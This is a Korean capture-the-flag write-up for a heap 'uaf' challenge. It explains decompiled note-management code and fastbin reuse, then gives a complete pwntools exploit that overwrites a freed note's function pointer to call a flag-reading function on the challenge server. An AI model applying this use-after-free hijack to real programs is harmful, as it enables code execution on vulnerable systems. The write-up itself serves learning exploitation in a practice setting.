노트를 만들고 삭제할 수 있다.
void add_note(void)
{
int iVar1;
void *pvVar2;
size_t __size;
int in_GS_OFFSET;
int local_20;
char local_18 [8];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
if (count < 6) {
local_20 = 0;
while (local_20 < 5) {
if (*(int *)(notelist + local_20 * 4) == 0) {
pvVar2 = malloc(8);
*(void **)(notelist + local_20 * 4) = pvVar2;
if (*(int *)(notelist + local_20 * 4) == 0) {
puts("Allocate 에러");
/* WARNING: Subroutine does not return */
exit(-1);
}
**(undefined4 **)(notelist + local_20 * 4) = 0x804865b;
printf("노트 크기 :");
read(0,local_18,8);
__size = atoi(local_18);
iVar1 = *(int *)(notelist + local_20 * 4);
pvVar2 = malloc(__size);
*(void **)(iVar1 + 4) = pvVar2;
if (*(int *)(*(int *)(notelist + local_20 * 4) + 4) == 0) {
puts("Allocate 에러");
/* WARNING: Subroutine does not return */
exit(-1);
}
printf("내용 :");
read(0,*(void **)(*(int *)(notelist + local_20 * 4) + 4),__size);
puts("성공!");
count = count + 1;
break;
}
local_20 = local_20 + 1;
}
}
else {
puts("Full");
}
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
add_note 함수, notelist[index] 에 malloc(8) 을 하고,
첫번째 4 byte 에는 print_note_content 함수의 주소,
두번째 4 byte 에는 size 를 입력받아 그만큼 할당받는다.
notelist[index] -> | malloc(8) -> | 0x804865b + malloc(size) |
void magic(void)
{
system("cat /home/uaf/flag");
return;
}
FLAG 를 주는 magic 함수가 있다. 여기로 돌려야할 것 같다.
fastbin 은 LIFO 구조로 마지막으로 free 된 chunk 가 우선으로 재할당될 기회를 가진다.
16바이트짜리 note 를 2개 할당하고
free 한 상태의 힙이다
(pwngdb 의 heapinfo 기능으로 확인)
fastbin[0] = malloc(8), notelist[i] 에서 free 된 chunk 들
fastbin[1] = malloc(16), notelist[i]+4 에서 free 된 chunk 들
(index 1 -> index 0 순서로 되어있다.)
! ubuntu 18.04 이상에서는 heapinfo 해도 tcache 에 free 되기 때문에
ubuntu 18.04 이하 (ubuntu 16.04) 에서 확인해보자 !
예쁘게 해제된것을 볼 수 있다.
3번매뉴인 print_note 함수는 notelist[i]+4 를 인자로, notelist[i] (print_note_content) 를 호출하는데,
해제된 note의 print_note 함수를 호출하게되면,
notelist[해제된 인덱스] = 0x00000000 을 호출해
Segmentation Fault 에러가 나게 된다. 이것이 UAF (Use After Free) 이다.
그렇다면, notelist[0] 자리를 재할당해 데이터영역(print_note_content+malloc(size) 를 magic 함수로 덮어버리자.
현재 상황에서 ( 인덱스 0, 1 이 해제된 상황)
새롭게 크기가 8 인 노트를 만들면, fastbin 의 LIFO 구조로 인해
notelist[2] = notelist[1]
notelist[2]+4 = notelist[0]
이렇게 할당이 된다.
이제 내용을 AAAA 로 주면,
notelist[0] 의 데이터영역 ( print_note_content + malloc(16 ) 을 덮을 수 있다.
이제 index 0 의 콘텐츠를 출력하면, 0x804c00a 를 인자로 0x41414141 을 호출하게된다.
이론은 여기까지, 익스코드를 짜보자.
[ exploit ]
from pwn import *
r=remote("ctf.j0n9hyun.xyz",3020)
#r=process("./uaf")
b=ELF("./uaf")
context.log_level='debug'
def add_note(size,content):
r.sendafter("입력 :","1")
r.sendafter("노트 크기 :",size)
r.sendafter("내용 :",content)
def delete_note(index):
r.sendafter("입력 :","2")
r.sendafter("Index ",index)
def print_content(index):
r.sendafter("입력 :","3")
r.sendafter("Index :",index)
add_note("16","snwo.tistory.com")
add_note("16","github.com/snwox")
delete_note("0")
delete_note("1")
pay=p32(b.symbols['magic'])
add_note("8",pay)
print_content("0")
r.sendline("4") # bye ~~
r.interactive()